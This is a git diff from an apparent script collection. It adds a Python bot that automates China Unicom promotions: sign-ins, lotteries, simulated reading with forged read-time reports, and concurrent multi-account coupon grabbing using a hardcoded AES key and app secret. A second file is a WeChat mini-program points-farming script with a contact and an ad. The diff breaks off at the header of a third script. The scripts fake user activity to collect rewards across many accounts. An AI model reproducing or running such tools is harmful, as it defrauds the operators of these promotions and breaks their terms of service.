return "continue", f"未中奖 ({data or msg})" + return "won", f"中奖: {data or '未知奖品'}" + if str(code) == "401": + return "invalid", "token 已失效" + return "continue", f"未中奖 ({msg or data or code})" + except Exception as e: + return "error", f"请求异常: {e}" + + def xj_query_monthly_draw_records(self, token): + headers = { + "User-Agent": XJ_USER_AGENT, + "userToken": token, + "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", + } + try: + res = self.session.post( + "https://zy100.xj169.com/touchpoint/openapi/drawAct/getPrizesScroll", + data={"activityId": XJ_ACTIVITY_ID}, + headers=headers, + timeout=10, + ).json() + data = res.get("data", []) + if not data: + self.log("新疆专区: 每月抽奖暂无中奖记录") + return + if isinstance(data, dict): + data = [data] + if isinstance(data, list) and data and isinstance(data[0], str): + for item in data[:5]: + self.log(f"新疆专区: 每月抽奖记录 - {item}", notify=True) + return + displayed = 0 + for item in data: + if not isinstance(item, dict): + continue + prize_name = item.get("prizeName") or item.get("prizeId") or "未知奖品" + draw_ts = safe_int(item.get("drawDate"), 0) + draw_date = datetime.fromtimestamp(draw_ts / 1000).strftime("%m-%d") if draw_ts else "未知时间" + self.log(f"新疆专区: 每月抽奖记录 - {prize_name} ({draw_date})", notify=True) + displayed += 1 + if displayed >= 5: + break + if displayed == 0: + self.log("新疆专区: 每月抽奖暂无可展示记录") + except Exception as e: + self.log(f"新疆专区: 查询每月抽奖记录异常 {e}") + + def xj_monthly_draw_task(self, token): + self.log(f"新疆专区: 每月抽奖活动 {XJ_ACTIVITY_ID}") + for i in range(XJ_MONTHLY_DRAW_ATTEMPT_COUNT): + status, msg = self.xj_monthly_draw_once(token) + self.log( + f"新疆专区: 每月抽奖第{i + 1}次 - {msg}", + notify=status == "won", + ) + if status in {"done", "won", "invalid"}: + break + time.sleep(random.uniform(1, 2)) + self.xj_query_monthly_draw_records(token) + + def shangdu_get_sign_status(self): + try: + url = "https://app.shangdu.com/monthlyBenefit/v1/signIn/queryCumulativeSignAxis" + headers = { + "Origin": "https://app.shangdu.com", + "Referer": "https://app.shangdu.com/monthlyBenefit/index.html", + "edop_flag": "0", "Content-Type": "application/json" + } + res = self.session.post(url, json={}, headers=headers).json() + if res.get('result', {}).get('code') == "0000": + return res.get('result', {}).get('data', {}).get('todaySignFlag') == "1" + return None + except: return None + + def shangdu_sign_retry(self): + try: + url = "https://app.shangdu.com/monthlyBenefit/v1/signIn/userSignIn" + headers = { + "Origin": "https://app.shangdu.com", + "Referer": "https://app.shangdu.com/monthlyBenefit/index.html", + "edop_flag": "0", "X-Requested-With": "XMLHttpRequest", + "Content-Type": "application/json" + } + res = self.session.post(url, json={}, headers=headers).json() + code = res.get('result', {}).get('code') + data = res.get('result', {}).get('data', {}) + if code == "0000": + prize = data.get('prizeResp', {}).get('prizeName') + if prize: self.log(f"河南商都: 签到成功(重试) - 获得 {prize}", notify=True) + else: self.log("河南商都: 签到成功(重试)") + elif code == "0019": + self.log("河南商都: 重试仍返回重复签到") + else: + self.log(f"河南商都: A签到重试失败 - {res.get('result', {}).get('msg')}") + except Exception as e: + self.log(f"河南商都: 签到重试异常 {e}") + + def shangdu_task_main(self): + if not self.ecs_token: return + url = f"https://m.client.10010.com/edop_ng/getTicketByNative?appId=edop_unicom_4b80047a&token={self.ecs_token}" + res = self.session.get(url).json() + ticket = res.get('result', {}).get('ticket') + if not ticket: + self.log("河南商都: 获取Ticket失败") + return + login_url = f"https://app.shangdu.com/monthlyBenefit/v1/common/config?ticket={ticket}" + headers_login = { + "Origin": "https://app.shangdu.com", + "Referer": "https://app.shangdu.com/monthlyBenefit/index.html", + "edop_flag": "0", "Accept": "application/json, text/plain, */*" + } + self.session.get(login_url, headers=headers_login) + time.sleep(1.5) + sign_url = "https://app.shangdu.com/monthlyBenefit/v1/signIn/userSignIn" + headers_sign = { + "Origin": "https://app.shangdu.com", + "Referer": "https://app.shangdu.com/monthlyBenefit/index.html", + "edop_flag": "0", "X-Requested-With": "XMLHttpRequest", + "Content-Type": "application/json" + } + res_sign = self.session.post(sign_url, json={}, headers=headers_sign).json() + code = res_sign.get('result', {}).get('code') + data = res_sign.get('result', {}).get('data', {}) + if code == "0000": + if data.get('value') == "0001": + self.log("河南商都: 签到失败 - Cookie无效") + else: + prize = data.get('prizeResp', {}).get('prizeName', '已签到') + self.log(f"河南商都: 签到结果 - {prize}", notify=True) + elif code == "0019": + time.sleep(1) + is_signed = self.shangdu_get_sign_status() + if is_signed is True: + self.log("河南商都: 今日已签到") + elif is_signed is False: + self.log("河南商都: 状态未签到但返回重复,尝试重试...") + time.sleep(2) + self.shangdu_sign_retry() + else: + self.log("河南商都: 今日已签到 (状态未知)") + else: + self.log(f"河南商都: 签到失败 - {code} : {res_sign.get('result', {}).get('msg')}") + + def woread_encrypt(self, data): + try: + key = b'woreadst^&*12345' + iv = b'16-Bytes--String' + cipher = AES.new(key, AES.MODE_CBC, iv) + if isinstance(data, dict): + data_str = json.dumps(data, separators=(',', ':'), ensure_ascii=False) + else: + data_str = str(data) + pad_len = 16 - (len(data_str.encode('utf-8')) % 16) + data_str = data_str + chr(pad_len) * pad_len + ciphertext = cipher.encrypt(data_str.encode('utf-8')) + hex_str = ciphertext.hex() + return base64.b64encode(hex_str.encode('utf-8')).decode('utf-8') + except Exception as e: + self.log(f"woread_encrypt error: {e}") + return "" + + def woread_auth(self): + try: + product_id = "10000002" + secret_key = "7k1HcDL8RKvc" + timestamp = str(round(time.time() * 1000)) + sign_str = f"{product_id}{secret_key}{timestamp}" + md5_hash = hashlib.md5(sign_str.encode('utf-8')).hexdigest() + date_str = datetime.now().strftime('%Y%m%d%H%M%S') + crypt_text_obj = {"timestamp": date_str} + encoded_sign = self.woread_encrypt(crypt_text_obj) + url = f"https://10010.woread.com.cn/ng_woread_service/rest/app/auth/{product_id}/{timestamp}/{md5_hash}" + headers = { + "Content-Type": "application/json", + "User-Agent": COMMON_CONSTANTS['UA'], + } + res = self.session.post(url, json={"sign": encoded_sign}, headers=headers).json() + if res.get('code') == "0000": + self.woread_accesstoken = res.get('data', {}).get('accesstoken') + return True + else: + self.log(f"阅读专区认证失败: {res.get('message')}") + return False + except Exception as e: + self.log(f"woread_auth error: {e}") + return False + + def woread_login(self): + try: + if not hasattr(self, 'woread_accesstoken') or not self.woread_accesstoken: + if not self.woread_auth(): + return False + if not self.token_online: + self.log("阅读专区: 缺少 token_online,无法登录") + return False + token_enc = self.woread_encrypt(self.token_online) + phone_str = self.account_mobile if self.account_mobile else "13800000000" + phone_enc = self.woread_encrypt(phone_str) + timestamp = datetime.now().strftime('%Y%m%d%H%M%S') + inner_json = json.dumps({ + "tokenOnline": token_enc, + "phone": phone_enc, + "timestamp": timestamp + }, separators=(',', ':'), ensure_ascii=False) + encoded_sign = self.woread_encrypt(inner_json) + url = "https://10010.woread.com.cn/ng_woread_service/rest/account/login" + headers = { + "Content-Type": "application/json", + "User-Agent": COMMON_CONSTANTS['UA'], + } + if hasattr(self, 'woread_accesstoken') and self.woread_accesstoken: + headers["accesstoken"] = self.woread_accesstoken + res = self.session.post(url, json={"sign": encoded_sign}, headers=headers, timeout=15).json() + if res.get('code') == "0000": + data = res.get('data', {}) + self.woread_token = data.get('token') + self.woread_userid = data.get('userid') + self.woread_userindex = data.get('userindex') + self.woread_verifycode = data.get('verifycode') + if data.get('phone'): + self.mobile = data['phone'] + self.log("阅读专区: 登录成功") + return True + else: + self.log(f"阅读专区登录失败: {res.get('message')}") + return False + except Exception as e: + self.log(f"woread_login error: {e}") + return False + + def woread_queryTicketAccount(self): + try: + if not hasattr(self, 'woread_token') or not self.woread_token: + if not self.woread_login(): + return + timestamp = datetime.now().strftime('%Y%m%d%H%M%S') + params = { + "timestamp": timestamp, + "phone": self.mobile if self.mobile else "", + "token": self.woread_token + } + sign = self.woread_encrypt(params) + url = "https://10010.woread.com.cn/ng_woread_service/rest/phone/vouchers/queryTicketAccount" + headers = { + "Content-Type": "application/json", + "User-Agent": COMMON_CONSTANTS['UA'], + } + if hasattr(self, 'woread_accesstoken') and self.woread_accesstoken: + headers["accesstoken"] = self.woread_accesstoken + res = self.session.post(url, json={"sign": sign}, headers=headers).json() + if res.get('code') == "0000": + data = res.get('data', {}) + usable_num = int(data.get('usableNum', 0)) + balance_yuan = "{:.2f}".format(usable_num / 100) + self.log(f"💰 [资产-阅读红包] 余额: {balance_yuan}元", notify=True) + else: + self.log(f"阅读红包查询失败: {res.get('message')}") + except Exception as e: + self.log(f"woread_queryTicketAccount error: {e}") + + def woread_get_book_info(self): + try: + url1 = "https://10010.woread.com.cn/ng_woread_service/rest/basics/recommposdetail/14856" + headers = { + "User-Agent": COMMON_CONSTANTS['UA'], + "accesstoken": self.woread_accesstoken + } + res1 = self.session.get(url1, headers=headers) + try: + res1 = res1.json() + except: + self.log(f"阅读专区: 获取书架响应非JSON: {res1.text[:100]}") + return False + if res1.get('code') == '0000': + msg_list = res1.get('data', {}).get('booklist', {}).get('message', []) + if msg_list: + self.wr_catid = msg_list[0].get('catindex') + self.wr_cntindex = msg_list[0].get('cntindex') + bind_info = res1.get('data', {}).get('bindinfo', []) + if bind_info: + self.wr_cardid = bind_info[0].get('recommposiindex') + else: + self.log("阅读专区: 获取书架失败") + return False + if not getattr(self, 'wr_cntindex', None): return False + timestamp = datetime.now().strftime('%Y%m%d%H%M%S') + param = { + "curPage": 1, "limit": 30, "index": self.wr_cntindex, "sort": 0, "finishFlag": 1, + "timestamp": timestamp, + "phone": self.mobile if self.mobile else "", + "token": getattr(self, 'woread_token', ''), + "userid": getattr(self, 'woread_userid', ''), + "userId": getattr(self, 'woread_userid', ''), + "userIndex": getattr(self, 'woread_userindex', ''), + "verifyCode": getattr(self, 'woread_verifycode', '') + } + sign = self.woread_encrypt(param) + url2 = "https://10010.woread.com.cn/ng_woread_service/rest/cnt/chalist" + res2_raw = self.session.post(url2, json={"sign": sign}, headers=headers) + try: + res2 = res2_raw.json() + except: + self.log(f"阅读专区: 获取章节响应非JSON: {res2_raw.text[:100]}") + return False + lst = res2.get('list', []) or res2.get('data', {}).get('list', []) + if lst: + content = lst[0].get('charptercontent', []) + if content: + self.wr_chapterallindex = content[0].get('chapterallindex') + self.wr_chapterid = content[0].get('chapterid') + return True + return False + except Exception as e: + self.log(f"阅读专区: 获取书籍信息异常: {e}") + return False + + def woread_read_process(self): + if not self.woread_get_book_info(): + self.log("阅读专区: 无法获取书籍信息,跳过阅读") + return + headers = { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301}", + "accesstoken": self.woread_accesstoken + } + timestamp = datetime.now().strftime('%Y%m%d%H%M%S') + phone = self.mobile if self.mobile else "" + token = getattr(self, 'woread_token', '') + userid = getattr(self, 'woread_userid', '') + userindex = getattr(self, 'woread_userindex', '') + verifycode = getattr(self, 'woread_verifycode', '') + common_params = { + "timestamp": timestamp, + "phone": phone, + "token": token, + "userid": userid, + "userId": userid, + "userIndex": userindex, + "userAccount": phone, + "verifyCode": verifycode + } + param = { + "chapterAllIndex": self.wr_chapterallindex, + "cntIndex": self.wr_cntindex, + "cntTypeFlag": "1", + **common_params + } + sign = self.woread_encrypt(param) + hb_url = f"https://10010.woread.com.cn/ng_woread_service/rest/cnt/wordsDetail?catid={self.wr_catid}&cardid={self.wr_cardid}&cntindex={self.wr_cntindex}&chapterallindex={self.wr_chapterallindex}&chapterseno=1" + self.session.post(hb_url, json={"sign": sign}, headers=headers) + add_param = { + "readTime": "2", + "cntIndex": self.wr_cntindex, + "cntType": "1", + "catid": "0", + "pageIndex": "", + "cardid": self.wr_cardid, + "cntindex": self.wr_cntindex, + "cnttype": "1", + "chapterallindex": self.wr_chapterallindex, + "chapterseno": "1", + "channelid": "", + "chapterid": self.wr_chapterid, + "readtype": 1, + "isend": "0", + **common_params + } + add_sign = self.woread_encrypt(add_param) + add_url = "https://10010.woread.com.cn/ng_woread_service/rest/history/addReadTime" + res = self.session.post(add_url, json={"sign": add_sign}, headers=headers).json() + res_code = str(res.get('code', '')) + res_msg = str(res.get('message', '')) + if res_code == '0000': + self.log("阅读专区: 模拟阅读成功") + elif res_code == '9999' or '9999' in res_msg or '不存在阅读记录' in res_msg: + # addReadTime 返回9999不影响实际阅读结果 + self.log("阅读专区: 模拟阅读成功(阅读记录已提交)") + else: + self.log(f"阅读专区: 模拟阅读失败: {res_msg or res}") + + + + def woread_draw_new(self): + try: + headers = { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 unicom{version:iphone_c@12.0301}", + "accesstoken": self.woread_accesstoken + } + timestamp = datetime.now().strftime('%Y%m%d%H%M%S') + param = { + "activeindex": "8051", + "timestamp": timestamp, "phone": self.mobile if self.mobile else "", "token": self.woread_token + } + sign = self.woread_encrypt(param) + url = "https://10010.woread.com.cn/ng_woread_service/rest/basics/doDraw" + res = self.session.post(url, json={"sign": sign}, headers=headers).json() + if res.get('code') == '0000': + prize = res.get('data', {}).get('prizedesc') + if prize: + self.log(f"阅读专区: 抽奖成功: {prize}", notify=True) + else: + self.log("阅读专区: 抽奖完成 (未中奖)") + else: + self.log(f"阅读专区: 抽奖失败: {res.get('message')}") + except Exception as e: + self.log(f"woread_draw_new error: {e}") + + def woread_task(self): + self.log("==== 联通阅读 ====") + if not self.woread_login(): + self.log("阅读专区: 登录失败,跳过任务") + return + self.woread_queryTicketAccount() + self.woread_read_process() + time.sleep(3) + self.woread_draw_new() + + def query_market_raffle_records(self, user_token): + self.log("权益超市: 正在查询抽奖记录...") + try: + url = "https://backward.bol.wo.cn/prod-api/market/contactReceive/queryReceiveRecord" + headers = { + "Authorization": f"Bearer {user_token}", + "User-Agent": COMMON_CONSTANTS["MARKET_UA"], + "Origin": "https://contact.bol.wo.cn", + "Referer": "https://contact.bol.wo.cn/" + } + mobile = getattr(self, "account_mobile", getattr(self, "mobile", "")) + payload = { + "isReceive": None, + "receiveStatus": None, + "limit": 20, + "page": 1, + "mobile": mobile, + "businessSources": ["3", "4", "5", "6", "99"], + "isPromotion": 1, + "returnFormatType": 1 + } + res = self.session.post(url, json=payload, headers=headers).json() + if res.get('code') == 200: + records = res.get('data', {}).get('recordObjs', []) + if records: + display_records = records[:10] + self.log(f"权益超市: 最近 {len(display_records)} 条抽奖记录:", notify=True) + for item in display_records: + self.log(f" - [{item.get('receiveTime')}] {item.get('recordName')}", notify=True) + else: + self.log("权益超市: 无近期抽奖记录。") + else: + self.log(f"权益超市: 查询抽奖记录失败: {res.get('msg')}") + except Exception as e: + self.log(f"query_market_raffle_records error: {e}") + + def query_phone_recharge_records(self, user_token): + self.log("权益超市: 正在查询本月话费抢购记录...") + try: + url = "https://backward.bol.wo.cn/prod-api/market/contactReceive/queryReceiveRecord" + headers = { + "Authorization": f"Bearer {user_token}", + "User-Agent": COMMON_CONSTANTS["MARKET_UA"], + "Origin": "https://contact.bol.wo.cn", + "Referer": "https://contact.bol.wo.cn/" + } + mobile = getattr(self, "account_mobile", getattr(self, "mobile", "")) + payload = { + "isReceive": None, + "receiveStatus": None, + "limit": 50, + "page": 1, + "mobile": mobile, + "businessSources": ["3", "4", "5", "6", "99"], + "isPromotion": 1, + "returnFormatType": 1 + } + res = self.session.post(url, json=payload, headers=headers).json() + if res.get('code') == 200: + records = res.get('data', {}).get('recordObjs', []) + total_amount = 0.0 + current_month = datetime.now().strftime('%Y-%m') + count = 0 + for item in records: + create_time = item.get('receiveTime', '') + name = item.get('recordName', '') + if current_month in create_time and any(k in name for k in ['话费', '充值', '红包']): + match = re.search(r'(\d+(\.\d+)?)元', name) + if match: + amount = float(match.group(1)) + total_amount += amount + count += 1 + if count > 0: + self.log(f"💰 [资产-抢购] 本月权益超市话费累计: {total_amount:.2f}元", notify=True) + else: + self.log("权益超市: 本月暂无话费抢购记录") + else: + self.log(f"权益超市: 查询话费记录失败: {res.get('msg')}") + except Exception as e: + self.log(f"query_phone_recharge_records error: {e}") + + def sign_query_my_prizes(self): + self.log("正在查询账户明细 (抢兑)...") + try: + url = "https://act.10010.com/SigninApp/convert/phoneDetails" + form = { + "log_type": "1", + "number": "1", + "list_num": "" + } + headers = {"Origin": "https://img.client.10010.com"} + res = self.request("post", url, data=form, headers=headers) + if not res: return + result = res.json() + if result.get('status') == '0000': + data = result.get('data', {}).get('detailedBO', []) + if data and isinstance(data, list): + logged_count = 0 + for item in data: + if logged_count >= 5: break + remark = item.get('remark', '') + buss_name = item.get('from_bussname', '') + if "兑换" in remark or "兑换" in buss_name: + if logged_count == 0: + self.log(f"📋 [账户明细] 最近 5 条记录:", notify=True) + order_time = item.get('order_time', '') + amount = item.get('booksNumber') or item.get('books_number') or "0" + self.log(f" 🎁 [抢兑] {order_time} | {remark} (变动:{amount})", notify=True) + logged_count += 1 + if logged_count == 0: + self.log("[账户明细] 暂无兑换记录") + else: + self.log("[账户明细] 暂无兑换记录") + else: + self.log(f"[账户明细] 查询异常: {result.get('msg', 'Result Error')}") + except Exception as e: + self.log(f"sign_query_my_prizes error: {e}") + + def sign_task_main(self): + self.log("==== 签到区 ====") + self.sign_getTelephone(is_initial=True) + self.sign_getContinuous(is_query_only=False) + self.sign_getTaskList() + sc = globalConfig.get("sign_config", {}) + if sc.get("run_grab_coupon", False): + self.sign_grabCoupon() + else: + self.log("签到区-抢话费券: ⏭️ 已被子开关关闭,跳过") + self.sign_getTelephone() + self.sign_query_my_prizes() + + def execute_daily_tasks(self, query_only=False): + if query_only: + self.log("📋 [查询模式] 仅查询资产,跳过任务执行", notify=True) + try: + self.queryRemain() + if globalConfig.get("enable_sign", True): + try: + self.sign_getContinuous(is_query_only=True) + self.sign_getTelephone() + except Exception as e: + self.log(f"首页签到查询异常: {e}") + try: + self.sign_query_my_prizes() + except Exception as e: + self.log(f"抢兑记录查询异常: {e}") + if globalConfig.get("enable_ttlxj", True): + try: + self.ttlxj_task(is_query_only=True) + except Exception as e: + self.log(f"天天领现金查询异常: {e}") + if globalConfig.get("enable_market", True): + try: + self.market_task(is_query_only=True) + except Exception as e: + self.log(f"权益超市查询异常: {e}") + if globalConfig.get("enable_woread", True): + try: + self.woread_queryTicketAccount() + except Exception as e: + self.log(f"联通阅读查询异常: {e}") + if globalConfig.get("enable_aiting", True): + try: + self.aiting_task(is_query_only=True) + except Exception as e: + self.log(f"联通爱听查询异常: {e}") + if globalConfig.get("enable_security", True): + try: + self.securityButlerTask(is_query_only=True) + except Exception as e: + self.log(f"安全管家查询异常: {e}") + if globalConfig.get("enable_ltyp", True): + try: + self.ltyp_task(is_query_only=True) + except Exception as e: + self.log(f"联通云盘查询异常: {e}") + if globalConfig.get("enable_wostore", True): + try: + self.wostore_cloud_task(is_query_only=True) + except Exception as e: + self.log(f"沃云手机查询异常: {e}") + if globalConfig.get("enable_regional", True): + try: + self.regional_task(is_query_only=True) + except Exception as e: + pass + except Exception as e: + self.log(f"查询异常: {e}") + return + if globalConfig.get("enable_sign", True): + self.sign_task_main() + else: + self.log("==== 签到区 ====") + self.log("⏭️ 已被总开关关闭,跳过") + if globalConfig.get("enable_ltzf", True): + self.ltzf_task() + else: + self.log("==== 联通祝福 ====") + self.log("⏭️ 已被总开关关闭,跳过") + if globalConfig.get("enable_ttlxj", True): + self.ttlxj_task() + else: + self.log("==== 天天领现金 ====") + self.log("⏭️ 已被总开关关闭,跳过") + if globalConfig.get("enable_market", True): + self.market_task() + else: + self.log("==== 权益超市 ====") + self.log("⏭️ 已被总开关关闭,跳过") + if globalConfig.get("enable_woread", True): + self.woread_task() + else: + self.log("==== 联通阅读 ====") + self.log("⏭️ 已被总开关关闭,跳过") + need_cooldown = globalConfig.get("enable_woread", True) and globalConfig.get("enable_aiting", True) + if need_cooldown: + self.log("⏳ 等待120秒(阅读冷却:联通限制两次阅读间隔2分钟)...") + time.sleep(120) + if globalConfig.get("enable_aiting", True): + self.aiting_task() + else: + self.log("==== 联通爱听 ====") + self.log("⏭️ 已被总开关关闭,跳过") + if globalConfig.get("enable_security", True): + self.securityButlerTask() + else: + self.log("==== 安全管家 ====") + self.log("⏭️ 已被总开关关闭,跳过") + if globalConfig.get("enable_ltyp", True): + self.ltyp_task() + else: + self.log("==== 联通云盘 ====") + self.log("⏭️ 已被总开关关闭,跳过") + if globalConfig.get("enable_wostore", True): + self.wostore_cloud_task() + else: + self.log("==== 沃云手机 ====") + self.log("⏭️ 已被总开关关闭,跳过") + if globalConfig.get("enable_regional", True): + self.regional_task() + else: + self.log("==== 区域专区 ====") + self.log("⏭️ 已被总开关关闭,跳过") + +def do_notify(users): + notify_content = [] + for u in users: + if u.notify_logs: + phone = u.mobile or u.account_mobile + phone_str = mask_str(phone) if phone else "" + notify_content.append(f"【账号{u.index}】{phone_str}") + notify_content.extend(u.notify_logs) + notify_content.append("") + if notify_content: + content = "\n".join(notify_content) + try: + from notify import send + send("中国联通", content) + print(f"推送成功 (内容长度: {len(content)})") + except Exception as e: + print(f"推送失败,可能未配置 notify.py: {str(e)}") + else: + print("无推送内容") + +def main(): + global GRAB_AMOUNT + print(f"[{datetime.now().strftime('%H:%M:%S')}] [Script Start] chinaUnicom Python v1.0.5") + cookies = os.environ.get("chinaUnicomCookie", "") + if not cookies: + print("[-] 未在环境变量 chinaUnicomCookie 中找到配置") + sys.exit(1) + accounts = [c for c in re.split(r'[&\n]', cookies) if c.strip()] + print(f"[{datetime.now().strftime('%H:%M:%S')}] 发现 {len(accounts)} 个账号") + print("") + users = [] + for idx, config in enumerate(accounts): + u = UserService(idx + 1, config.strip()) + users.append(u) + if u.appId: + print(f"账号[{idx+1}] 识别到 Token#AppId 模式,使用自定义AppId: {u.appId}") + elif u.account_mobile: + print(f"账号[{idx+1}] 识别到账号密码模式: {mask_str(u.account_mobile)}") + try: + if u.token_online: + u.get_city_info() + except: pass + print(f"共找到{len(accounts)}个账号") + print("") + env_amount = os.environ.get("UNICOM_GRAB_AMOUNT", "") + if env_amount and env_amount.isdigit(): + GRAB_AMOUNT = int(env_amount) + query_only = os.environ.get("UNICOM_TEST_MODE", "").strip().lower() == "query" + if query_only: + print("[Test Mode] 仅查询模式,跳过任务执行") + # 抢兑模式检测 (在打印前判断) + sc = globalConfig.get("sign_config", {}) + mc = globalConfig.get("market_config", {}) + grab_mode = False + if sc.get("run_grab_coupon", False) and globalConfig.get("enable_sign", True) and not query_only: + hour = datetime.now().hour + current_min = datetime.now().minute + if hour in [9, 17] and (58 <= current_min <= 59): + grab_mode = True + print("-" * 36) + # 打印各模块开关状态 + switch_map = [ + ("enable_sign", "首页签到"), + ("enable_ltzf", "联通祝福"), + ("enable_ttlxj", "天天领现金"), + ("enable_market", "权益超市"), + ("enable_woread", "联通阅读"), + ("enable_aiting", "联通爱听"), + ("enable_security", "安全管家"), + ("enable_ltyp", "联通云盘"), + ("enable_wostore", "沃云手机"), + ("enable_regional", "区域专区"), + ] + for key, label in switch_map: + enabled = globalConfig.get(key, True) + if grab_mode: + # 抢兑模式: 仅签到区(抢兑)运行, 其余全部跳过 + if key == "enable_sign": + status = "运行(仅抢兑)" + else: + status = "跳过(抢兑模式)" + elif query_only: + status = "仅查询" if enabled else "关闭" + else: + status = "运行" if enabled else "关闭" + print(f"{label}设置为: {status}") + # 签到区后面紧跟子开关 + if key == "enable_sign" and enabled and not query_only: + print(f" └─ 抢话费券: {'开启' if sc.get('run_grab_coupon', False) else '关闭'}") + # 权益超市后面紧跟子开关 (抢兑模式下不打印, 因为整个权益超市都跳过) + if key == "enable_market" and enabled and not query_only and not grab_mode: + print(f" └─ 浇水: {'开启' if mc.get('run_water', True) else '关闭'}") + print(f" └─ 做任务: {'开启' if mc.get('run_task', True) else '关闭'}") + print(f" └─ 会员中心: {'开启' if mc.get('run_member_center', True) else '关闭'}") + print(f" └─ 抽奖: {'开启' if mc.get('run_draw', True) else '关闭'}") + print(f" └─ 自动领奖: {'开启' if mc.get('run_claim', False) else '关闭'}") + print(f"设备ID刷新: {'强制刷新' if globalConfig.get('refresh_device_id', False) else '使用缓存'}") + print("-" * 36) + print("") + # --- 定时抢兑模式: 仅并发执行抢话费券, 完成后直接退出 --- + if grab_mode: + hour = datetime.now().hour + current_min = datetime.now().minute + print(f"⏰ [自动触发] 检测到抢兑时间点 ({hour}:{current_min:02d}),进入并发抢兑模式") + print(f"🚨🚨🚨 [抢兑模式已启动] 目标: {GRAB_AMOUNT}元话费券 🚨🚨🚨") + print("") + from concurrent.futures import ThreadPoolExecutor + + def run_grab_task(u): + u.configure_proxy() + if not u.token_online and u.account_mobile: + u.load_token_from_cache() + is_valid = u.onLine() + if not is_valid and u.account_mobile and u.account_password: + u.unicom_login() + is_valid = u.onLine() + if is_valid: + u.save_token_to_cache() + u.sign_grabCoupon() + else: + u.log("登录流程失败,跳过该账号") + + print(f"🚀 [并发模式] 启动 {len(accounts)} 个账号同时抢兑...") + with ThreadPoolExecutor(max_workers=len(accounts)) as executor: + futures = [executor.submit(run_grab_task, u) for u in users] + for future in futures: + try: + future.result() + except Exception as e: + print(f"[-] Thread Error: {e}") + do_notify(users) + return + print("🚀 开始串行执行日常任务...") + print("") + for u in users: + print("") + print(f"🔄 正在初始化账号[{u.index}]...") + u.configure_proxy() + if not u.token_online and u.account_mobile: + u.load_token_from_cache() + if not u.token_online and u.account_mobile and u.account_password: + u.unicom_login() + if u.onLine(): + u.save_token_to_cache() + print("") + print(f"------------------ 账号[{u.index}][{mask_str(u.account_mobile)}] ------------------") + print("") + u.execute_daily_tasks(query_only=query_only) + print("⏳ 账号处理完毕,等待 2 秒...") + time.sleep(2) + else: + u.log("登录流程失败,跳过该账号") + do_notify(users) +if __name__ == "__main__": + main() diff --git a/脚本库/微信小程序/抓包版/产地严选小程序/2025-06-28_产地严选小程序_f81d5d95.py b/脚本库/微信小程序/抓包版/产地严选小程序/2025-06-28_产地严选小程序_f81d5d95.py new file mode 100644 index 0000000..d19242f --- /dev/null +++ b/脚本库/微信小程序/抓包版/产地严选小程序/2025-06-28_产地严选小程序_f81d5d95.py @@ -0,0 +1,90 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E4%BA%A7%E5%9C%B0%E4%B8%A5%E9%80%89%E5%B0%8F%E7%A8%8B%E5%BA%8F.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E4%BA%A7%E5%9C%B0%E4%B8%A5%E9%80%89%E5%B0%8F%E7%A8%8B%E5%BA%8F.py +# Repo: jdqlscript/toulu +# Path: 产地严选小程序.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: f81d5d959073dedc5f43a7d1259f4c5da22afbe0d6295f367a72e41c779a59b6 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +''' +产地严选小程序 +可以在浏览器打开https://c.hanhoukeji.com/h5/#/网页获取Access-Token +也可以在微信小程序获取Access-Token +变量名:cdyxck,多号&分割 +TL库 +每天一次 +有问题联系3288588344 +频道:https://pd.qq.com/s/672fku8ge + +长期套餐大额流量电话卡办理地址:https://hk.yunhaoka.cn/#/pages/micro_store/index?agent_id=669709 + + +''' + + +import requests +import json +import os +import time +import random + + +def main(token): + url = "https://c.hanhoukeji.com/index.php?s=/api/points/taskComplete" + list=[10,20,30,40,50,70,80] + for i in list: + payload = json.dumps({ + "source": i + }) + headers = { + 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b13) XWEB/9129", + 'Content-Type': "application/json", + 'access-token': token + } + response = requests.post(url, data=payload, headers=headers) + data = json.loads(response.text) + status = data['status'] + message=data["message"] + print('获取任务中..................') + if message == '没有找到用户信息': + print(message) + break + time.sleep(1) + print(message) + rand = random.randint(5,20) + print('等待'+str(int(rand))+'秒后继续运行') + time.sleep(rand) +def user_points(token): + url = "https://c.hanhoukeji.com/index.php?s=/api/points/userPointsLog" + headers = { + 'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b13) XWEB/9129", + 'access-token': token + } + response = requests.get(url, headers=headers) + data = json.loads(response.text) + status = data['status'] + message = data['message'] + if status == 200: + user_points=data["data"]["user_points"] + print('当前积分:'+str(user_points)) + else: + print('') + time.sleep(1) + +if __name__ == "__main__": + cks=os.getenv('cdyxck') + cks = cks.split("&") + print(f"检测到{len(cks)}个账号,即将开始...") + i = 1 + for ck in cks: + token=ck + print(f"----------第{i}个账号----------") + i += 1 + main(token) + user_points(token) + rand = random.randint(5,20) + if i > len(cks): + break + print(f"\n等待{rand}s后进行下一个账号") + time.sleep(rand) \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/全棉时代/2025-06-28_全棉时代_78833e2a.js b/脚本库/微信小程序/抓包版/全棉时代/2025-06-28_全棉时代_78833e2a.js new file mode 100644 index 0000000..ac207cb --- /dev/null +++ b/脚本库/微信小程序/抓包版/全棉时代/2025-06-28_全棉时代_78833e2a.js @@ -0,0 +1,852 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E5%85%A8%E6%A3%89%E6%97%B6%E4%BB%A3.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E5%85%A8%E6%A3%89%E6%97%B6%E4%BB%A3.js +// # Repo: jdqlscript/toulu 